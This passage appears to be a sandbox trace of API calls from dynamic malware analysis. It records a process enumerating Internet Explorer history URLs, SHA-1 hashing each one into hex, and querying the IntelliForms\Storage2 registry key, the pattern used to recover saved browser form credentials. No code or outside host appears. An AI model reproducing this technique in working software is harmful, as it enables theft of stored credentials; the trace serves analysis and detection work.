(hMem=0x28e7670) returned 0x0 [0097.315] CryptDestroyHash (hHash=0x4469ee0) returned 1 [0097.315] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.315] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.315] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.315] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.315] LocalFree (hMem=0x28e7910) returned 0x0 [0097.315] CoTaskMemFree (pv=0x447c170) [0097.316] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.316] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/Gb_F43Mr7o.png", lpSrch="?") returned 0x0 [0097.316] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.316] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.316] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/Gb_F43Mr7o.png") returned 48 [0097.316] CryptHashData (hHash=0x4469e00, pbData=0x4469ee0, dwDataLen=0x62, dwFlags=0x0) returned 1 [0097.316] CryptGetHashParam (in: hHash=0x4469e00, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.317] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DB") returned 2 [0097.317] lstrlenW (lpString="") returned 0 [0097.317] lstrlenW (lpString="DB") returned 2 [0097.317] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7187650 [0097.317] lstrcpyW (in: lpString1=0x7187650, lpString2="" | out: lpString1="") returned="" [0097.317] lstrcatW (in: lpString1="", lpString2="DB" | out: lpString1="DB") returned="DB" [0097.317] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0D") returned 2 [0097.317] lstrlenW (lpString="DB") returned 2 [0097.317] lstrlenW (lpString="0D") returned 2 [0097.317] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28ca4c0 [0097.317] lstrcpyW (in: lpString1=0x28ca4c0, lpString2="DB" | out: lpString1="DB") returned="DB" [0097.317] lstrcatW (in: lpString1="DB", lpString2="0D" | out: lpString1="DB0D") returned="DB0D" [0097.317] LocalFree (hMem=0x7187650) returned 0x0 [0097.317] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0D") returned 2 [0097.317] lstrlenW (lpString="DB0D") returned 4 [0097.317] lstrlenW (lpString="0D") returned 2 [0097.317] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c8f80 [0097.317] lstrcpyW (in: lpString1=0x28c8f80, lpString2="DB0D" | out: lpString1="DB0D") returned="DB0D" [0097.317] lstrcatW (in: lpString1="DB0D", lpString2="0D" | out: lpString1="DB0D0D") returned="DB0D0D" [0097.317] LocalFree (hMem=0x28ca4c0) returned 0x0 [0097.317] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D8") returned 2 [0097.317] lstrlenW (lpString="DB0D0D") returned 6 [0097.317] lstrlenW (lpString="D8") returned 2 [0097.317] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28ca4c0 [0097.317] lstrcpyW (in: lpString1=0x28ca4c0, lpString2="DB0D0D" | out: lpString1="DB0D0D") returned="DB0D0D" [0097.317] lstrcatW (in: lpString1="DB0D0D", lpString2="D8" | out: lpString1="DB0D0DD8") returned="DB0D0DD8" [0097.317] LocalFree (hMem=0x28c8f80) returned 0x0 [0097.317] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="16") returned 2 [0097.317] lstrlenW (lpString="DB0D0DD8") returned 8 [0097.317] lstrlenW (lpString="16") returned 2 [0097.317] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c8f80 [0097.317] lstrcpyW (in: lpString1=0x28c8f80, lpString2="DB0D0DD8" | out: lpString1="DB0D0DD8") returned="DB0D0DD8" [0097.317] lstrcatW (in: lpString1="DB0D0DD8", lpString2="16" | out: lpString1="DB0D0DD816") returned="DB0D0DD816" [0097.317] LocalFree (hMem=0x28ca4c0) returned 0x0 [0097.317] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="35") returned 2 [0097.317] lstrlenW (lpString="DB0D0DD816") returned 10 [0097.317] lstrlenW (lpString="35") returned 2 [0097.318] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf460 [0097.318] lstrcpyW (in: lpString1=0x71cf460, lpString2="DB0D0DD816" | out: lpString1="DB0D0DD816") returned="DB0D0DD816" [0097.318] lstrcatW (in: lpString1="DB0D0DD816", lpString2="35" | out: lpString1="DB0D0DD81635") returned="DB0D0DD81635" [0097.318] LocalFree (hMem=0x28c8f80) returned 0x0 [0097.318] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6A") returned 2 [0097.318] lstrlenW (lpString="DB0D0DD81635") returned 12 [0097.318] lstrlenW (lpString="6A") returned 2 [0097.318] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cfb40 [0097.318] lstrcpyW (in: lpString1=0x71cfb40, lpString2="DB0D0DD81635" | out: lpString1="DB0D0DD81635") returned="DB0D0DD81635" [0097.318] lstrcatW (in: lpString1="DB0D0DD81635", lpString2="6A" | out: lpString1="DB0D0DD816356A") returned="DB0D0DD816356A" [0097.318] LocalFree (hMem=0x71cf460) returned 0x0 [0097.318] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EE") returned 2 [0097.318] lstrlenW (lpString="DB0D0DD816356A") returned 14 [0097.318] lstrlenW (lpString="EE") returned 2 [0097.318] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf460 [0097.318] lstrcpyW (in: lpString1=0x71cf460, lpString2="DB0D0DD816356A" | out: lpString1="DB0D0DD816356A") returned="DB0D0DD816356A" [0097.318] lstrcatW (in: lpString1="DB0D0DD816356A", lpString2="EE" | out: lpString1="DB0D0DD816356AEE") returned="DB0D0DD816356AEE" [0097.318] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.318] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A9") returned 2 [0097.318] lstrlenW (lpString="DB0D0DD816356AEE") returned 16 [0097.318] lstrlenW (lpString="A9") returned 2 [0097.318] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cfb40 [0097.318] lstrcpyW (in: lpString1=0x71cfb40, lpString2="DB0D0DD816356AEE" | out: lpString1="DB0D0DD816356AEE") returned="DB0D0DD816356AEE" [0097.318] lstrcatW (in: lpString1="DB0D0DD816356AEE", lpString2="A9" | out: lpString1="DB0D0DD816356AEEA9") returned="DB0D0DD816356AEEA9" [0097.318] LocalFree (hMem=0x71cf460) returned 0x0 [0097.318] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A2") returned 2 [0097.318] lstrlenW (lpString="DB0D0DD816356AEEA9") returned 18 [0097.318] lstrlenW (lpString="A2") returned 2 [0097.318] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0097.318] lstrcpyW (in: lpString1=0x7290b70, lpString2="DB0D0DD816356AEEA9" | out: lpString1="DB0D0DD816356AEEA9") returned="DB0D0DD816356AEEA9" [0097.318] lstrcatW (in: lpString1="DB0D0DD816356AEEA9", lpString2="A2" | out: lpString1="DB0D0DD816356AEEA9A2") returned="DB0D0DD816356AEEA9A2" [0097.318] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.318] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="31") returned 2 [0097.318] lstrlenW (lpString="DB0D0DD816356AEEA9A2") returned 20 [0097.318] lstrlenW (lpString="31") returned 2 [0097.318] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0097.318] lstrcpyW (in: lpString1=0x72912f0, lpString2="DB0D0DD816356AEEA9A2" | out: lpString1="DB0D0DD816356AEEA9A2") returned="DB0D0DD816356AEEA9A2" [0097.319] lstrcatW (in: lpString1="DB0D0DD816356AEEA9A2", lpString2="31" | out: lpString1="DB0D0DD816356AEEA9A231") returned="DB0D0DD816356AEEA9A231" [0097.319] LocalFree (hMem=0x7290b70) returned 0x0 [0097.319] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5E") returned 2 [0097.319] lstrlenW (lpString="DB0D0DD816356AEEA9A231") returned 22 [0097.319] lstrlenW (lpString="5E") returned 2 [0097.319] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0097.319] lstrcpyW (in: lpString1=0x7290b70, lpString2="DB0D0DD816356AEEA9A231" | out: lpString1="DB0D0DD816356AEEA9A231") returned="DB0D0DD816356AEEA9A231" [0097.319] lstrcatW (in: lpString1="DB0D0DD816356AEEA9A231", lpString2="5E" | out: lpString1="DB0D0DD816356AEEA9A2315E") returned="DB0D0DD816356AEEA9A2315E" [0097.319] LocalFree (hMem=0x72912f0) returned 0x0 [0097.319] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="40") returned 2 [0097.319] lstrlenW (lpString="DB0D0DD816356AEEA9A2315E") returned 24 [0097.319] lstrlenW (lpString="40") returned 2 [0097.319] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0097.319] lstrcpyW (in: lpString1=0x72912f0, lpString2="DB0D0DD816356AEEA9A2315E" | out: lpString1="DB0D0DD816356AEEA9A2315E") returned="DB0D0DD816356AEEA9A2315E" [0097.319] lstrcatW (in: lpString1="DB0D0DD816356AEEA9A2315E", lpString2="40" | out: lpString1="DB0D0DD816356AEEA9A2315E40") returned="DB0D0DD816356AEEA9A2315E40" [0097.319] LocalFree (hMem=0x7290b70) returned 0x0 [0097.319] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="37") returned 2 [0097.319] lstrlenW (lpString="DB0D0DD816356AEEA9A2315E40") returned 26 [0097.319] lstrlenW (lpString="37") returned 2 [0097.319] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815a80 [0097.319] lstrcpyW (in: lpString1=0x2815a80, lpString2="DB0D0DD816356AEEA9A2315E40" | out: lpString1="DB0D0DD816356AEEA9A2315E40") returned="DB0D0DD816356AEEA9A2315E40" [0097.319] lstrcatW (in: lpString1="DB0D0DD816356AEEA9A2315E40", lpString2="37" | out: lpString1="DB0D0DD816356AEEA9A2315E4037") returned="DB0D0DD816356AEEA9A2315E4037" [0097.319] LocalFree (hMem=0x72912f0) returned 0x0 [0097.319] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="36") returned 2 [0097.319] lstrlenW (lpString="DB0D0DD816356AEEA9A2315E4037") returned 28 [0097.319] lstrlenW (lpString="36") returned 2 [0097.319] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0097.319] lstrcpyW (in: lpString1=0x2815670, lpString2="DB0D0DD816356AEEA9A2315E4037" | out: lpString1="DB0D0DD816356AEEA9A2315E4037") returned="DB0D0DD816356AEEA9A2315E4037" [0097.319] lstrcatW (in: lpString1="DB0D0DD816356AEEA9A2315E4037", lpString2="36" | out: lpString1="DB0D0DD816356AEEA9A2315E403736") returned="DB0D0DD816356AEEA9A2315E403736" [0097.319] LocalFree (hMem=0x2815a80) returned 0x0 [0097.319] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FE") returned 2 [0097.319] lstrlenW (lpString="DB0D0DD816356AEEA9A2315E403736") returned 30 [0097.319] lstrlenW (lpString="FE") returned 2 [0097.319] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815a80 [0097.319] lstrcpyW (in: lpString1=0x2815a80, lpString2="DB0D0DD816356AEEA9A2315E403736" | out: lpString1="DB0D0DD816356AEEA9A2315E403736") returned="DB0D0DD816356AEEA9A2315E403736" [0097.319] lstrcatW (in: lpString1="DB0D0DD816356AEEA9A2315E403736", lpString2="FE" | out: lpString1="DB0D0DD816356AEEA9A2315E403736FE") returned="DB0D0DD816356AEEA9A2315E403736FE" [0097.319] LocalFree (hMem=0x2815670) returned 0x0 [0097.320] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B8") returned 2 [0097.320] lstrlenW (lpString="DB0D0DD816356AEEA9A2315E403736FE") returned 32 [0097.320] lstrlenW (lpString="B8") returned 2 [0097.320] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0097.320] lstrcpyW (in: lpString1=0x2815670, lpString2="DB0D0DD816356AEEA9A2315E403736FE" | out: lpString1="DB0D0DD816356AEEA9A2315E403736FE") returned="DB0D0DD816356AEEA9A2315E403736FE" [0097.320] lstrcatW (in: lpString1="DB0D0DD816356AEEA9A2315E403736FE", lpString2="B8" | out: lpString1="DB0D0DD816356AEEA9A2315E403736FEB8") returned="DB0D0DD816356AEEA9A2315E403736FEB8" [0097.320] LocalFree (hMem=0x2815a80) returned 0x0 [0097.320] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="85") returned 2 [0097.320] lstrlenW (lpString="DB0D0DD816356AEEA9A2315E403736FEB8") returned 34 [0097.320] lstrlenW (lpString="85") returned 2 [0097.320] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0097.320] lstrcpyW (in: lpString1=0x28e7910, lpString2="DB0D0DD816356AEEA9A2315E403736FEB8" | out: lpString1="DB0D0DD816356AEEA9A2315E403736FEB8") returned="DB0D0DD816356AEEA9A2315E403736FEB8" [0097.320] lstrcatW (in: lpString1="DB0D0DD816356AEEA9A2315E403736FEB8", lpString2="85" | out: lpString1="DB0D0DD816356AEEA9A2315E403736FEB885") returned="DB0D0DD816356AEEA9A2315E403736FEB885" [0097.320] LocalFree (hMem=0x2815670) returned 0x0 [0097.320] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B2") returned 2 [0097.320] lstrlenW (lpString="DB0D0DD816356AEEA9A2315E403736FEB885") returned 36 [0097.320] lstrlenW (lpString="B2") returned 2 [0097.320] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0097.320] lstrcpyW (in: lpString1=0x28e7670, lpString2="DB0D0DD816356AEEA9A2315E403736FEB885" | out: lpString1="DB0D0DD816356AEEA9A2315E403736FEB885") returned="DB0D0DD816356AEEA9A2315E403736FEB885" [0097.320] lstrcatW (in: lpString1="DB0D0DD816356AEEA9A2315E403736FEB885", lpString2="B2" | out: lpString1="DB0D0DD816356AEEA9A2315E403736FEB885B2") returned="DB0D0DD816356AEEA9A2315E403736FEB885B2" [0097.320] LocalFree (hMem=0x28e7910) returned 0x0 [0097.320] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="08") returned 2 [0097.320] lstrlenW (lpString="DB0D0DD816356AEEA9A2315E403736FEB885B2") returned 38 [0097.320] lstrlenW (lpString="08") returned 2 [0097.320] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0097.320] lstrcpyW (in: lpString1=0x28e7910, lpString2="DB0D0DD816356AEEA9A2315E403736FEB885B2" | out: lpString1="DB0D0DD816356AEEA9A2315E403736FEB885B2") returned="DB0D0DD816356AEEA9A2315E403736FEB885B2" [0097.320] lstrcatW (in: lpString1="DB0D0DD816356AEEA9A2315E403736FEB885B2", lpString2="08" | out: lpString1="DB0D0DD816356AEEA9A2315E403736FEB885B208") returned="DB0D0DD816356AEEA9A2315E403736FEB885B208" [0097.320] LocalFree (hMem=0x28e7670) returned 0x0 [0097.320] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EC") returned 2 [0097.320] lstrlenW (lpString="DB0D0DD816356AEEA9A2315E403736FEB885B208") returned 40 [0097.320] lstrlenW (lpString="EC") returned 2 [0097.320] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0097.320] lstrcpyW (in: lpString1=0x28e7670, lpString2="DB0D0DD816356AEEA9A2315E403736FEB885B208" | out: lpString1="DB0D0DD816356AEEA9A2315E403736FEB885B208") returned="DB0D0DD816356AEEA9A2315E403736FEB885B208" [0097.320] lstrcatW (in: lpString1="DB0D0DD816356AEEA9A2315E403736FEB885B208", lpString2="EC" | out: lpString1="DB0D0DD816356AEEA9A2315E403736FEB885B208EC") returned="DB0D0DD816356AEEA9A2315E403736FEB885B208EC" [0097.320] LocalFree (hMem=0x28e7910) returned 0x0 [0097.320] CryptDestroyHash (hHash=0x4469e00) returned 1 [0097.320] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.321] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.321] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.321] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.321] LocalFree (hMem=0x28e7670) returned 0x0 [0097.321] CoTaskMemFree (pv=0x4469ee0) [0097.321] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.321] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/jfmD.ods", lpSrch="?") returned 0x0 [0097.321] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.322] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.322] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/jfmD.ods") returned 42 [0097.322] CryptHashData (hHash=0x4469f50, pbData=0x71e3820, dwDataLen=0x56, dwFlags=0x0) returned 1 [0097.322] CryptGetHashParam (in: hHash=0x4469f50, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.322] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="85") returned 2 [0097.322] lstrlenW (lpString="") returned 0 [0097.322] lstrlenW (lpString="85") returned 2 [0097.322] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7187650 [0097.322] lstrcpyW (in: lpString1=0x7187650, lpString2="" | out: lpString1="") returned="" [0097.322] lstrcatW (in: lpString1="", lpString2="85" | out: lpString1="85") returned="85" [0097.322] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9E") returned 2 [0097.322] lstrlenW (lpString="85") returned 2 [0097.322] lstrlenW (lpString="9E") returned 2 [0097.322] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c8f80 [0097.322] lstrcpyW (in: lpString1=0x28c8f80, lpString2="85" | out: lpString1="85") returned="85" [0097.322] lstrcatW (in: lpString1="85", lpString2="9E" | out: lpString1="859E") returned="859E" [0097.322] LocalFree (hMem=0x7187650) returned 0x0 [0097.322] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2E") returned 2 [0097.322] lstrlenW (lpString="859E") returned 4 [0097.322] lstrlenW (lpString="2E") returned 2 [0097.322] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28ca4c0 [0097.322] lstrcpyW (in: lpString1=0x28ca4c0, lpString2="859E" | out: lpString1="859E") returned="859E" [0097.322] lstrcatW (in: lpString1="859E", lpString2="2E" | out: lpString1="859E2E") returned="859E2E" [0097.322] LocalFree (hMem=0x28c8f80) returned 0x0 [0097.322] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="25") returned 2 [0097.322] lstrlenW (lpString="859E2E") returned 6 [0097.322] lstrlenW (lpString="25") returned 2 [0097.322] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c8f80 [0097.322] lstrcpyW (in: lpString1=0x28c8f80, lpString2="859E2E" | out: lpString1="859E2E") returned="859E2E" [0097.322] lstrcatW (in: lpString1="859E2E", lpString2="25" | out: lpString1="859E2E25") returned="859E2E25" [0097.322] LocalFree (hMem=0x28ca4c0) returned 0x0 [0097.322] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DB") returned 2 [0097.322] lstrlenW (lpString="859E2E25") returned 8 [0097.322] lstrlenW (lpString="DB") returned 2 [0097.322] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28ca4c0 [0097.322] lstrcpyW (in: lpString1=0x28ca4c0, lpString2="859E2E25" | out: lpString1="859E2E25") returned="859E2E25" [0097.322] lstrcatW (in: lpString1="859E2E25", lpString2="DB" | out: lpString1="859E2E25DB") returned="859E2E25DB" [0097.323] LocalFree (hMem=0x28c8f80) returned 0x0 [0097.323] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="18") returned 2 [0097.323] lstrlenW (lpString="859E2E25DB") returned 10 [0097.323] lstrlenW (lpString="18") returned 2 [0097.323] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cfb40 [0097.323] lstrcpyW (in: lpString1=0x71cfb40, lpString2="859E2E25DB" | out: lpString1="859E2E25DB") returned="859E2E25DB" [0097.323] lstrcatW (in: lpString1="859E2E25DB", lpString2="18" | out: lpString1="859E2E25DB18") returned="859E2E25DB18" [0097.323] LocalFree (hMem=0x28ca4c0) returned 0x0 [0097.323] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B5") returned 2 [0097.323] lstrlenW (lpString="859E2E25DB18") returned 12 [0097.323] lstrlenW (lpString="B5") returned 2 [0097.323] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf460 [0097.323] lstrcpyW (in: lpString1=0x71cf460, lpString2="859E2E25DB18" | out: lpString1="859E2E25DB18") returned="859E2E25DB18" [0097.323] lstrcatW (in: lpString1="859E2E25DB18", lpString2="B5" | out: lpString1="859E2E25DB18B5") returned="859E2E25DB18B5" [0097.323] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.323] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="76") returned 2 [0097.323] lstrlenW (lpString="859E2E25DB18B5") returned 14 [0097.323] lstrlenW (lpString="76") returned 2 [0097.323] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cfb40 [0097.323] lstrcpyW (in: lpString1=0x71cfb40, lpString2="859E2E25DB18B5" | out: lpString1="859E2E25DB18B5") returned="859E2E25DB18B5" [0097.323] lstrcatW (in: lpString1="859E2E25DB18B5", lpString2="76" | out: lpString1="859E2E25DB18B576") returned="859E2E25DB18B576" [0097.323] LocalFree (hMem=0x71cf460) returned 0x0 [0097.323] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="44") returned 2 [0097.323] lstrlenW (lpString="859E2E25DB18B576") returned 16 [0097.323] lstrlenW (lpString="44") returned 2 [0097.323] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf460 [0097.323] lstrcpyW (in: lpString1=0x71cf460, lpString2="859E2E25DB18B576" | out: lpString1="859E2E25DB18B576") returned="859E2E25DB18B576" [0097.323] lstrcatW (in: lpString1="859E2E25DB18B576", lpString2="44" | out: lpString1="859E2E25DB18B57644") returned="859E2E25DB18B57644" [0097.323] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.323] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D8") returned 2 [0097.323] lstrlenW (lpString="859E2E25DB18B57644") returned 18 [0097.323] lstrlenW (lpString="D8") returned 2 [0097.323] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0097.323] lstrcpyW (in: lpString1=0x72912f0, lpString2="859E2E25DB18B57644" | out: lpString1="859E2E25DB18B57644") returned="859E2E25DB18B57644" [0097.323] lstrcatW (in: lpString1="859E2E25DB18B57644", lpString2="D8" | out: lpString1="859E2E25DB18B57644D8") returned="859E2E25DB18B57644D8" [0097.324] LocalFree (hMem=0x71cf460) returned 0x0 [0097.324] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8C") returned 2 [0097.324] lstrlenW (lpString="859E2E25DB18B57644D8") returned 20 [0097.324] lstrlenW (lpString="8C") returned 2 [0097.324] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0097.324] lstrcpyW (in: lpString1=0x7290b70, lpString2="859E2E25DB18B57644D8" | out: lpString1="859E2E25DB18B57644D8") returned="859E2E25DB18B57644D8" [0097.324] lstrcatW (in: lpString1="859E2E25DB18B57644D8", lpString2="8C" | out: lpString1="859E2E25DB18B57644D88C") returned="859E2E25DB18B57644D88C" [0097.324] LocalFree (hMem=0x72912f0) returned 0x0 [0097.324] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="70") returned 2 [0097.324] lstrlenW (lpString="859E2E25DB18B57644D88C") returned 22 [0097.324] lstrlenW (lpString="70") returned 2 [0097.324] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0097.324] lstrcpyW (in: lpString1=0x72912f0, lpString2="859E2E25DB18B57644D88C" | out: lpString1="859E2E25DB18B57644D88C") returned="859E2E25DB18B57644D88C" [0097.324] lstrcatW (in: lpString1="859E2E25DB18B57644D88C", lpString2="70" | out: lpString1="859E2E25DB18B57644D88C70") returned="859E2E25DB18B57644D88C70" [0097.324] LocalFree (hMem=0x7290b70) returned 0x0 [0097.324] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E8") returned 2 [0097.324] lstrlenW (lpString="859E2E25DB18B57644D88C70") returned 24 [0097.324] lstrlenW (lpString="E8") returned 2 [0097.324] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0097.324] lstrcpyW (in: lpString1=0x7290b70, lpString2="859E2E25DB18B57644D88C70" | out: lpString1="859E2E25DB18B57644D88C70") returned="859E2E25DB18B57644D88C70" [0097.324] lstrcatW (in: lpString1="859E2E25DB18B57644D88C70", lpString2="E8" | out: lpString1="859E2E25DB18B57644D88C70E8") returned="859E2E25DB18B57644D88C70E8" [0097.324] LocalFree (hMem=0x72912f0) returned 0x0 [0097.324] 